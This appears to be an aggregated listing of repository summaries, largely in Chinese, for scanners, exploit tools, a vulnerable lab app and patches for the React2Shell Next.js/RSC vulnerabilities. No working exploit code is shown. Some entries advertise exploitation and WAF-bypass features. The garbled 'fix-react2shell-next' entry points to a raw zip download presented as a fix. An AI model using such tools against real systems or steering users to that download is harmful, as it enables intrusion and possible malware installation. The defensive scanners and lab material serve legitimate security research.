CHECK-CVE-2025-55182-AND-CVE-2025-66478

检查 CVE-2025-55182 和 CVE-2025-66478 此脚本检测服务器是否受 RSC/Next.js RCE 漏洞 CVE-2025-55182 和 CVE-2025-66478 影响。 它检查服务器响应中的特定漏洞特征。 根据 Searchlight Cyber 的说法，这些特征应当是特定的。 因此，此 shell 脚本的实现遵循了 Searchlight Cyber 的见解。 我目前只有关于这些 CVE 的德文信息，但这些信息是由德国联邦信息安全办公室官方发布的： React Server Components: Kritische Schwachstelle...

react2shell-ultimate

React2Shell Ultimate 扫描器 v2.0 用于 CVE-2025-66478 的专业 Next.js RSC RCE 漏洞扫描器 🎯 概述 React2Shell Ultimate 是一款针对 CVE-2025-66478 的全面漏洞扫描器，该漏洞是一个影响使用 React Server Components RSC 的 Next.js 应用程序的严重远程代码执行 RCE 漏洞。 🆕 v2.0 新特性 2.0 版本带来了重大增强和专业功能： ✨ 增强版上帝模式 - 更高级的利用能力，改进了命令执行 🚀 更好的 WAF 绕过 - 更复杂的规避安全控制的技术 🎨 专业...

poc-cve-next

Next.js 漏洞的 PoC。 功劳归于应得之人。本工具使用 Go 编写，但灵感源自： github.com/namest504/CVE-2025-66478 更多信息请访问该仓库。干杯！ 免责声明 本代码仅供安全研究和教育目的使用。未经事先许可，使用此工具针对系统或网络是非法的，用户应对由此产生的任何问题承担全部责任。...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE 扫描器与 POC/Exploit 合集 CVE-2025-66478 一个命令行扫描器，用于批量检测 Next.js 应用程序版本，并判断其是否受 CVE-2025-66478 漏洞影响。 此扫描器不会利用该漏洞 漏洞描述 https://nextjs.org/blog/CVE-2025-66478 安装 前置要求 Go 1.19 或更高版本 Chrome/Chromium 浏览器（go-rod 将自动下载） git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-6647...

-vercel-application-is-vulnerable-to-CVE-2025-66478.

-vercel-application-is-vulnerable-to-CVE-2025-66478. bug bounty...

react2shellVulnApp

React2Shell 易受攻击银行应用实验室 为 CVE-2025-55182 React 和 CVE-2025-66478 Next.js 特意构建的易受攻击银行应用，用于学习、检测并安全地实践 React2Shell。运行未修复的 React 19.0.0 和 Next.js 15.0.3。 概述 虚构的 SecureBank，基于 Next.js 应用路由器与 Server Actions 构建。 默认配置，无自定义危险代码，故意保持未修复状态。 旨在研究 RSC “Flight” 协议中的不安全反序列化，并练习检测/缓解措施。 快速启动（推荐 Docker） 1. 启动实验室...

fix-react2shell-next

🚀 fix-react2shell-next - 修复您的 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 应用中的漏洞 📥 立即下载 📝 概述 fix-react2shell-next 帮助您解决 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 或 React RSC...

next-cve-2025-66478

NextJS CVE-2025-66478 Escanea todos los proyectos vulnerables a CVE-2025-66478 en el directorio de trabajo actual y los reporta. Obtén más información sobre CVE-2025-66478 Advertencia Este script no soluciona ninguna vulnerabilidad. Solo sirve para localizarlas. Por favor, consulta este artículo...

react2shell-scanner

react2shell-scanner 用于检测使用 React Server Components 的 Next.js 应用中 CVE-2025-55182 和 CVE-2025-66478 的命令行工具。 有关漏洞及检测方法的技术细节，请参阅我们的博客文章：https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478 工作原理 默认情况下，扫描器会发送一个精心构造的 multipart POST...

React2Shell

RSC Sentinel 一款用于检测 Web 应用程序中 React2Shell 漏洞（CVE-2025-55182 和 CVE-2025-66478）的 Firefox 扩展。 👁️ 概述 RSC Sentinel 是一款 Firefox 浏览器扩展，面向希望在浏览时观察 React Server Components RSC 和 Next.js App Router 指标的安全研究人员和教育工作者。它默认专注于被动检测，在不改变网站行为的情况下突出显示潜在信号。对于经过授权的评估，它还可选提供由用户发起的手动工具，用于主动探测和受控命令执行。 🧩 功能 被动检测...

react2shell-scanner

react2shell-scanner 一款高保真命令行漏洞扫描器，用于检测使用 React Server Components RSC 的 Next.js 应用中的 CVE-2025-55182 和 CVE-2025-66478 （远程代码执行）。 🚨 漏洞概述 这些严重漏洞影响使用 React Server Components 的 Next.js 应用，攻击者可通过精心构造的 multipart POST 请求实现未授权远程代码执行。 受影响版本： 使用 React Server Components 且存在易受攻击的 action 处理的 Next.js 版本...

react2shell-scanner-CVE-2025-55182

React2Shell Enterprise Scanner 用于 CVE-2025-55182 和 CVE-2025-66478 的高保真漏洞扫描器——React Server Components / Next.js 中的远程代码执行漏洞。 📖 如需详细技术分析、漏洞利用机制和 IOC 数据，请参阅SECURITY-RESEARCH.md ⚠️ 免责声明 本工具仅供教育和授权安全测试目的使用。 未经授权访问计算机系统是非法的。仅在你拥有或获得明确书面许可的系统上使用这些工具。作者不对滥用行为承担任何责任。 🚨 漏洞概述 CVE| 描述| CVSS ---|---|---...

evilact

evilact 针对 Next.js 应用中 React Server Components 的 CVE-2025-55182 和 CVE-2025-66478 的快速漏洞扫描器。支持批量扫描、RCE 确认以及高性能并发检测。 安装 git clone https://github.com/cypholab/evilact.git cd evilact go build -o scanner main.go 用法 单个 URL ./scanner -url https://target.com 从文件读取多个 URL ./scanner -file targets.txt 启用 RCE ...

CVE-2025-66478-github-patcher

Next.js CVE 自动修复工具 使用 Go 编写的自动化工具，用于扫描 GitHub 仓库，检测存在漏洞的 Next.js 版本（CVE-2025-66478），并自动创建包含特定安全补丁的 Pull Request。 📋 前提条件 请确保你的环境中已安装并配置了以下工具： 1. Go （1.20 或更高版本） 2. Git （SSH 密钥已配置并加载到代理中） 3. GitHub CLI gh 身份验证 在运行此工具之前，你必须在 GitHub CLI 中完成身份验证： gh auth login Select "SSH" as git protocol and...

React-Next-Scanner

React-Next-Scanner 用于 CVE-2025-55182 和 CVE-2025-66478 的安全 CLI 扫描器 该工具提供了一款轻量级、非利用性的漏洞扫描器，专注于现代 JavaScript 技术栈，具体包括： 受 CVE-2025-55182 影响的 API 服务 受 CVE-2025-66478 影响的 Next.js 应用 支持平台： ✅ Windows ✅ Linux ✅ macOS ✨ 功能特性 跨平台 Python CLI 扫描器 启发式且安全的探测（不进行利用） 检测公开的指纹泄漏 可选的不安全模式，用于测试自签名目标 快速扫描，依赖极少 📦 文件 文件...

-vercel-prod.yml-application-is-vulnerable-to-CVE-2025-66478.

-vercel-prod.yml 应用程序存在 CVE-2025-66478 漏洞。 漏洞赏金...

nexts-cve-2025-66478-exploit

这是一个使用 create-next-app 引导的 Next.js 项目。 快速开始 首先，运行开发服务器： npm run dev or yarn dev or pnpm dev or bun dev 在浏览器中打开 http://localhost:3000 查看结果。 你可以通过修改 app/page.tsx 来编辑页面。当你编辑文件时，页面会自动更新。 该项目使用 next/font 自动优化和加载 Geist，这是 Vercel 的一个新字体家族。 了解更多 要了解更多关于 Next.js 的信息，请查看以下资源： Next.js 文档 - 了解 Next.js 特性和...

CVE-2025-55182-scanner

RSC Surface & Crash Detector 本工具是一种非侵入式的安全检测脚本，用于识别暴露的 React Server Components RSC 表面，并验证与以下内容相关的 崩溃型漏洞行为 ： CVE-2025-55182 CVE-2025-66478 它旨在用于 防御性安全测试、WAF 验证以及应用程序加固 工作流程。 此脚本 不执行漏洞利用或命令执行 。它严格进行检测和分类。 功能特性 自动扫描： http:// https:// 支持重定向的请求（跟随 30x 响应） 通过协议指纹检测 RSC 表面 使用非破坏性载荷进行崩溃型漏洞探测...

CVE-2025-55182-CVE-2025-66478

CVE-2025-55182-CVE-2025-66478 扫描器测试...

CVE-2025-66478-kinda-waf

kinda-waf 简单的临时WAF防护测试器，针对特定载荷序列。 让我们帮助网站在得到妥善修复之前保持安全！ 目的 通过检测并拦截包含特定载荷签名的请求，防护CVE-2025-66478。这不会破坏合法流量，并能为那些未能得到及时维护的网站提供保护。 注意：重启后防护会重置，因此并非永久解决方案 要求 Python 3 用法 运行脚本（默认本地主机）： python main.py 使用特定URL运行： python main.py http://example.com/ 以及可在浏览器中运行的版本： 没错，直接在浏览器控制台中运行： const formData = new...